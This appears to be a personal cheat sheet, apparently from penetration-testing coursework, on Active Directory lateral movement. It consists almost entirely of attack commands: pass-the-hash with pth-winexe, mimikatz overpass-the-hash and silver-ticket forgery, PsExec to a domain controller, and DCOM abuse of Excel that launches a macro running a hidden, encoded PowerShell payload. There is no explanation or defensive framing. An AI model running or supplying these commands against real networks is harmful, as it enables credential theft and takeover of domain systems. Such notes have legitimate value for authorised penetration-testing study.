






AD Lateral Movement

 Owner	 Raymond Soreng
 Tags	

▼ Pass the Hash

```
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404e  
e:2892d26cdf84d7a70e2eb3b9f05c425e //10.11.0.22 cmd
```

▼ Overpass the Hash

```
mimikatz #sekurlsa::logonpasswords  
mimikatz #sekurlsa::pth /user:jeff_admin /domain:corp.com /  
ntlm:e2b475c11da2a0748290d87aa966c327 /run:PowerShell.exe
```

```
klist
```

```
net use \\dc01
```

```
klist
```

```
.\PsExec.exe \\dc01 cmd.exe
```

▼ Pass the Ticket

```
C:\>whoami /user
```

```
mimikatz #kerberos::purge
```

```
mimikatz #kerberos::list
```

```
mimikatz #kerberos::golden /user:offsec /domain:corp.com /s  
id:S-1-5-21-1602875587-2787523311-2599479668 /target:CorpWe  
bServer.corp.com /service:HTTP /rc4:E2B475C11DA2A0748290D87  
AA966C327 /ptt
```

```
mimikatz #kerberos::list
```

▼ Distributed Component Object Model

```
$com = [activator]::CreateInstance([type]::GetTypeFromProgId("Excel.Application", "192.168.1.110"))
```

```
$com | Get-Member
```

```
Sub mymacro()  
    Shell ("notepad.exe")  
End Sub
```

```
$LocalPath = "C:\Users\jeff_admin.corp\myexcel.xls"
```

```
$RemotePath = "\\192.168.1.110\c$\myexcel.xls"
```

```
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)
```

```
$Workbook = $com.Workbooks.Open("C:\myexcel.xls")
```

```
$Path = "\\192.168.1.110\c$\Windows\syswow64\config\systemp  
rofile\Desktop"
```

```
$temp = [system.io.directory]::createDirectory($Path)
```

```

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "192.168.1.110"))

$LocalPath = "C:\Users\jeff_admin.corp\myexcel.xls"

$RemotePath = "\\192.168.1.110\c$\myexcel.xls"

[System.IO.File]::Copy($LocalPath, $RemotePath, $True)

$Path = "\\192.168.1.110\c$\Windows\sysWOW64\config\systemprofile\Desktop"

$temp = [system.io.directory]::createDirectory($Path)

$Workbook = $com.Workbooks.Open("C:\myexcel.xls")

$com.Run("mymacro")

```

```

str = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQ....."

n = 50

for i in range(0, len(str), n):
    print "Str = Str + " + "'" + str[i:i+n] + "'"

```

```

Sub MyMacro()
    Dim Str As String

    Str = Str + "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQ....."
    Str = Str + "ABQAHQAcgBdADoA0gBTAGkAegBlACAALQBIAHEAIAA0ACkAewA"
    ...

```

```
    Str = Str + "EQAaQBhAGcAbgBvAHMAdABpAGMACwAuAFAAcgBvAGM  
AZQBzAHM"  
    Str = Str + "AXQA6ADoAUwB0AGEAcgB0ACgAJABzACkA0wA="  
    Shell (Str)  
End Sub
```